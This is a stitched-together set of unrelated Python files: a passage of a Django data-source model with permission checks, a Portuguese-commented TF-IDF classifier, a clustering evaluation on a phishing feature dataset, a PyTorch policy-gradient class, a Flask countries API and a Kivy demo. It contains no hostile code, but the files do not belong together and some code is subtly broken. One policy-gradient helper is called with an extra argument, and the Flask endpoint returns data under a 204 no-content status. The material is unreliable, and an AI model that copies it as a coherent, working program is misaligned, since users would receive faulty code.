    #: If the data source API requires an API key use this one
    api_key = models.CharField(max_length=MAX_LENGTH_API_KEY,
                               blank=True, null=False)

    #: Contains encrypted data?
    is_encrypted = models.BooleanField(default=False,
                                       blank=False, null=False)

    #: Where to find information about how to use this encrypted data
    encrypted_docs_url = models.URLField('Documentation URL for managing encrypted data',
                                         blank=True, null=False)

    #: Which authentication method to use - defined in :class:`datasources.connectors.base.AuthMethod` enum
    auth_method = models.IntegerField(choices=AuthMethod.choices(),
                                      default=AuthMethod.UNKNOWN,
                                      blank=False, null=False)

    #: Users - linked via a permission table - see :class:`UserPermissionLink`
    users = models.ManyToManyField(settings.AUTH_USER_MODEL,
                                   through=UserPermissionLink)

    #: The level of access that users are assumed to have without gaining explicit permission
    public_permission_level = models.IntegerField(choices=UserPermissionLevels.choices(),
                                                  default=UserPermissionLevels.DATA.value,
                                                  blank=False, null=False)

    #: Is this data source exempt from PROV tracking - e.g. utility data sources - postcode lookup
    prov_exempt = models.BooleanField(default=False,
                                      help_text=(
                                          'Should this data source be exempt from PROV tracking? '
                                          'This is useful for utility data sources which expect a large volume '
                                          'of queries, but are not interested in analysing usage patterns. '
                                          'Note that this only disables tracking of data accesses, '
                                          'not of updates to the data source in PEDASI.'
                                      ),
                                      blank=False, null=False)

    #: Which licence is this data published under
    licence = models.ForeignKey(Licence,
                                related_name='datasources',
                                on_delete=models.PROTECT,
                                blank=True, null=True)

    #: Total number of requests sent to the external API
    external_requests_total = models.PositiveIntegerField(default=0,
                                                          editable=False, blank=False, null=False)

    #: Number of requests sent to the external API since the last reset - reset at midnight by cron job
    external_requests = models.PositiveIntegerField(default=0,
                                                    editable=False, blank=False, null=False)

    #: Has this object been soft deleted?
    is_deleted = models.BooleanField(default=False,
                                     editable=False, blank=False, null=False)

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._data_connector = None

    def save(self, *args, **kwargs):
        # TODO avoid determining auth method if existing one still works
        self.auth_method = self.data_connector_class.determine_auth_method(self.url, self.api_key)

        super().save(*args, **kwargs)

    def delete(self, using=None, keep_parents=False):
        """
        Soft delete this object.
        """
        self.is_deleted = True
        self.save()

    def has_view_permission(self, user: settings.AUTH_USER_MODEL) -> bool:
        """
        Does a user have permission to view this data source in the PEDASI UI?

        :param user: User to check
        :return: User has permission?
        """
        return self.has_permission_level(user, UserPermissionLevels.VIEW)

    def has_permission_level(self, user: settings.AUTH_USER_MODEL, level: UserPermissionLevels) -> bool:
        """
        Does a user have a particular permission level on this data source?

        :param user: User to check
        :param level: Permission level to check for
        :return: User has permission?
        """
        if self.public_permission_level >= level:
            # Everyone has access
            return True

        if self.owner == user or user.is_superuser:
            return True

        try:
            permission = UserPermissionLink.objects.get(
                user=user,
                datasource=self
            )
        except (UserPermissionLink.DoesNotExist, TypeError):
            # TypeError - user is not logged in
            return False

        return permission.granted >= level

    def has_edit_permission(self, user: settings.AUTH_USER_MODEL) -> bool:
        """
        Does a given user have permission to edit this data source?

        :param user: User to check
        :return: User has permission to edit?
        """
        return user.is_superuser or user == self.owner

    @property
    def is_catalogue(self) -> bool:
        """
        Is this data source a data catalogue?
        """
        return self.data_connector_class.is_catalogue

    @property
    def connector_string(self):
        """
        Get the string used to locate the resource associated with this data source.

        e.g. URL, SQL table identifier, etc.
        """
        if self._connector_string:
            return self._connector_string
        return self.url

    @property
    def data_connector_class(self) -> typing.Type[BaseDataConnector]:
        """
        Get the data connector class for this source.

        :return: Data connector class
        """
        BaseDataConnector.load_plugins('datasources/connectors')

        try:
            plugin = BaseDataConnector.get_plugin(self.plugin_name)

        except KeyError as exc:
            if not self.plugin_name:
                raise ValueError('Data source plugin is not set') from exc

            raise KeyError('Data source plugin not found') from exc

        return plugin

    def _get_data_connector(self) -> BaseDataConnector:
        """
        Construct the data connector for this source.

        :return: Data connector instance
        """
        plugin = self.data_connector_class

        if not self.api_key:
            data_connector = plugin(self.connector_string)

        else:
            # Is the authentication method set?
            auth_method = AuthMethod(self.auth_method)
            if auth_method == AuthMethod.UNKNOWN:
                auth_method = plugin.determine_auth_method(self.url, self.api_key)

            # Inject function to get authenticated request
            auth_class = REQUEST_AUTH_FUNCTIONS[auth_method]

            data_connector = plugin(self.connector_string, self.api_key,
                                    auth=auth_class)

        return data_connector

    @property
    @contextlib.contextmanager
    def data_connector(self) -> BaseDataConnector:
        """
        Context manager to construct the data connector for this source.

        When the context manager is closed, the number of requests to the external API will be added to the total.

        :return: Data connector instance
        """
        if self._data_connector is None:
            self._data_connector = self._get_data_connector()

        try:
            # Returns as context manager
            yield self._data_connector

        finally:
            # Executed after the context manager is closed
            self.external_requests += self._data_connector.request_count
            self.external_requests_total += self._data_connector.request_count

            self.save()

    @property
    def search_representation(self) -> str:
        """
        Provide a text representation of this data source to be entered into a search index.

        :return: Text representation of this data source
        """
        lines = [
            self.name,
            self.owner.get_full_name(),
            self.description,
        ]

        try:
            # Using the data_connector context manager results in an infinite recursion:
            #   1. Save data source
            #   2. Get search representation (this function)
            #   3. Close data connector context manager
            #   4. Save data source -> ...

            data_connector = self._get_data_connector()
            metadata = data_connector.get_metadata()

            lines.append(json.dumps(
                metadata,
                indent=4
            ))

        except (KeyError, NotImplementedError, ValueError):
            # KeyError: Plugin was not found
            # NotImplementedError: Plugin does not support metadata
            # ValueError: Plugin was not set
            pass

        result = '\n'.join(lines)
        return result

    def get_absolute_url(self):
        return reverse('datasources:datasource.detail',
                       kwargs={'pk': self.pk})


import pandas as pd
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
import re, string
import os

class PropertiesClassification:
    __instance = None

    # carregando o dataset apartir do diretório de trabalho da aplicação
    __workDir = os.getcwd()
    train = pd.read_csv(__workDir + r'/dataset-processed.csv')

    # inserindo rotulos
    label_cols = ['programacao orientada a objeto', 'linguagem de marcacao', 'banco de dados', 'linguagem de script']
    train['none'] = 1-train[label_cols].max(axis=1)

    # eliminando vazios
    CONTENT = 'content'
    train[CONTENT].fillna("unknown", inplace=True)

    # criando um saco de palavras
    def __tokenize(s):
        re_tok = re.compile(f'([{string.punctuation}“”¨«»®´·º½¾¿¡§£₤‘’])')
        return re_tok.sub(r' \1 ', s).split()

    # vetorizando com tf-idf
    vec = TfidfVectorizer(ngram_range=(1,2), tokenizer=__tokenize,
            min_df=3, max_df=0.9, strip_accents='unicode',
                use_idf=1, smooth_idf=1, sublinear_tf=1)

    # criando matriz esparca de numeros
    trn_term_doc = vec.fit_transform(train[CONTENT])

    @staticmethod
    def instance():
        if not PropertiesClassification.__instance:
            PropertiesClassification.__instance = PropertiesClassification()
        return PropertiesClassification.__instance


import os
import numpy as np
from sklearn import metrics
import matplotlib.pyplot as plt
from clusterValidation import valuate_kmeans, valuate_GM
from dimensionReduction import applyPCA, applyFastICA, applyGRP, applyLDA

training_data_file_name = "phishing_binary.txt"
label_file_name = "phishing_label.txt"
path = os.path.dirname(os.path.realpath(__file__)) + "\\data\\"
data = np.loadtxt(open(path + training_data_file_name),  dtype = int, delimiter = ',')
labels = np.loadtxt(open(path + label_file_name),  dtype = int, delimiter = ',')

clusters = 4
features = len(data[0])
sample_num = len(data)

ARS = []
VMS = []
ARS2 = []
VMS2 = []

components = []
for i in range(1, 40):
    components.append(i)

    grp_data = applyGRP(data, i)
    grp_time, labels_grp = valuate_kmeans(grp_data, clusters)
    grp_time2, labels_grp2 = valuate_GM(grp_data, clusters)
    ARS.append(metrics.adjusted_rand_score(labels_grp, labels) )
    VMS.append(metrics.v_measure_score(labels_grp, labels) )
    ARS2.append(metrics.adjusted_rand_score(labels_grp2, labels) )
    VMS2.append(metrics.v_measure_score(labels_grp2, labels) )

#print ARS_pca, '\n', ARS_ica, '\n', ARS_grp, '\n', ARS_lda

#plot samples using new components
plt.figure()
plt.plot(components, ARS, c='r', linewidth=1, label='ARS-GRP')
plt.plot(components, ARS2, c='r', linestyle=':', linewidth=3, label='ARS-ori')
plt.plot(components, VMS, c='b', linewidth=1, label='VMS-GRP')
plt.plot(components, VMS2, c='b', linestyle=':', linewidth=3, label='VMS-ori')

plt.title("clustering performance vs components")
plt.xlabel("components")
plt.ylabel("scores")
#plt.ylim((-0.2, 1.2))
plt.legend(loc=(2))
plt.show()


import torch
import torch.nn as nn
from torch.autograd import Variable

from elf.options import auto_import_options, PyOptionSpec
from .utils import accumulate, add_err, average_norm_clip

class PolicyGradient(object):
    @classmethod
    def get_option_spec(cls):
        spec = PyOptionSpec()
        spec.addFloatOption(
            'entropy_ratio',
            'the entropy ratio we put on PolicyGradient',
            0.01)
        spec.addFloatOption(
            'grad_clip_norm',
            'gradient norm clipping',
            0.0)
        spec.addFloatOption(
            'min_prob',
            'mininal probability used in training',
            1e-6)
        spec.addFloatOption(
            'ratio_clamp',
            'maximum importance sampling ratio',
            10.0)
        spec.addStrListOption(
            'policy_action_nodes',
            'the entropy ratio we put on PolicyGradient',
            ['pi,a'])
        return spec

    @auto_import_options
    def __init__(self, option_map):
        """Initialize the policy gradient.

        Specifically, initialize policy loss to be an ``nn.NLLLoss`` and
        parse ``policy_action_nodes``.
        """
        self.policy_loss = nn.NLLLoss().cuda()
        self.policy_action_nodes = []
        for node_specifier in self.options.policy_action_nodes:
            policy, _, action = node_specifier.partition(",")
            self.policy_action_nodes.append((policy, action))

    def _compute_one_policy_entropy_err(self, pi, a):
        """Compute policy error and entropy error for one.

        Pass in ``min_prob`` to avoid ``Nan`` in logrithms.

        Returns:
            dict of
            ``logpi``: log policy
            ``policy_err``: polict error
            ``entropy_err``: entropy error
        """
        batchsize = a.size(0)

        # Add normalization constant
        logpi = (pi + self.options.min_prob).log()
        # TODO Seems that logpi.clone() won't create a few hook list.
        # See https://github.com/pytorch/pytorch/issues/2601
        logpi2 = (pi + self.options.min_prob).log()

        # Get policy. N * #num_actions
        policy_err = self.policy_loss(logpi, a)
        entropy_err = (logpi2 * pi).sum() / batchsize
        return dict(
            logpi=logpi,
            policy_err=policy_err,
            entropy_err=entropy_err)

    def _compute_policy_entropy_err(self, pi, a):
        """Compute policy error and entropy error for a batch.

        Pass in ``min_prob`` to avoid ``Nan`` in logrithms.

        Returns:
            dict of
            ``logpi``: log policy
            ``policy_err``: polict error
            ``entropy_err``: entropy error
        """
        errs = {}
        if isinstance(pi, list):
            # Action map, and we need compute the error one by one.
            for i, pix in enumerate(pi):
                for j, pixy in enumerate(pix):
                    errs = accumulate(
                        errs,
                        self._compute_one_policy_entropy_err(
                            pixy, a[:, i, j], self.options.min_prob)
                    )
        else:
            errs = self._compute_one_policy_entropy_err(pi, a)

        return errs

    def _reg_backward(self, v, pg_weights):
        """Register the backward hook. Clip the gradient if necessary."""
        def bw_hook(grad_in):
            grad_clip_norm = self.options.grad_clip_norm
            # this works only on pytorch 0.2.0
            grad = grad_in.mul(pg_weights.view(-1, 1))
            # import pdb
            # pdb.set_trace()
            if grad_clip_norm > 1e-20:
                average_norm_clip(grad, grad_clip_norm)
            return grad
        v.register_hook(bw_hook)

    def feed(self, Q, pi_s, actions, stats, old_pi_s=dict()):
        """One iteration of policy gradient.

        rho nabla_w log p_w(a|s) Q + entropy_ratio * nabla H(pi(.|s))

        Args:
            Q(tensor): estimated return
            actions(tensor): action
            pi_s(variable): policy
            old_pi_s(tensor, optional): old policy, in order to
                                        get importance factor.

        If you specify multiple policies, then all the log prob of these
        policies are added, and their importance factors are multiplied.

        Feed to stats: policy error and nll error
        """
        # We need to set it beforehand.
        # Note that the samples we collect might be off-policy, so we need
        # to do importance sampling.
        pg_weights = Q.clone()

        policy_err = None
        entropy_err = None
        log_pi_s = []

        for pi_node, a_node in self.policy_action_nodes:
            pi = pi_s[pi_node]
            a = actions[a_node].squeeze()

            if pi_node in old_pi_s:
                old_pi = old_pi_s[pi_node].squeeze()

                # Cap it.
                clamped_ratios = torch.clamp(
                    pi.data.div(old_pi), max=self.options.ratio_clamp)
                coeff = clamped_ratios.gather(1, a.view(-1, 1)).squeeze()
                pg_weights.mul_(coeff)
                # There is another term (to compensate clamping), but we omit
                # it for now.

            # Compute policy gradient error:
            errs = self._compute_policy_entropy_err(pi, Variable(a))
            policy_err = add_err(policy_err, errs["policy_err"])
            entropy_err = add_err(entropy_err, errs["entropy_err"])
            log_pi_s.append(errs["logpi"])

            stats["nll_" + pi_node].feed(errs["policy_err"].data[0])
            stats["entropy_" + pi_node].feed(errs["entropy_err"].data[0])

        for log_pi in log_pi_s:
            self._reg_backward(log_pi, Variable(pg_weights))

        if len(self.policy_action_nodes) > 1:
            stats["total_nll"].feed(policy_err.data[0])
            stats["total_entropy"].feed(entropy_err.data[0])

        return policy_err + entropy_err * self.options.entropy_ratio


from flask import Flask
import json

app = Flask(__name__)

pais = [
    {
        'id': 1,
        'name': "Mexico",
        "description": "No Mexico falamos espanhol"
    },
    {
        "id": 2,
        "name": "Brasil",
        "description": "Aqui é Br"
    },
    {
        "id": 3,
        "name": "Italia",
        "description": "Comemos Pizaa"
    },{
        "id": 4,
        "name": "França",
        "description": "Comemos Pao"
    },
]

paisJSON = json.dumps(pais)

@app.route('/')
def home():
    return "paises",200

@app.route('/api/pais', methods=["GET"])
def consultar():
    return paisJSON, 204

if __name__ == '__main__':
    app.run()


from kivy.app import App
from kivy.uix.textinput import TextInput
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.button import Button
from kivy.uix.label import Label

class MyTI(TextInput):
	multiline = False
	def on_text_validate(self):
		print(self.text)
		lbl = self.parent.parent.lbl
		lbl.text = self.text

class Color(Button):
    def on_press(self):
        lbl = self.parent.parent.lbl
        if str(lbl.color) == str([1,1,1,1]):
            lbl.color = (0,0,1,1)
        elif str(lbl.color) == str([0,0,1,1]):
            lbl.color = (1,0,0,1)
        elif str(lbl.color) == str([1,0,0,1]):
            lbl.color = (1,1,1,1)
        else:
            lbl.text = str(lbl.color)

class MyRoot(BoxLayout):
    def __init__(self,**kwargs):
        super().__init__(**kwargs)
        box = BoxLayout(orientation="vertical")
        tex = MyTI(text="Please Enter")
        self.lbl = Label(text="",color=[1,1,1,1])
        btn = Color(text="Change the text color")
        box.add_widget(tex)
        box.add_widget(self.lbl)
        box.add_widget(btn)
        self.add_widget(box)

class Textmaker(App):
	def build(self):
		return MyRoot()

Textmaker().run()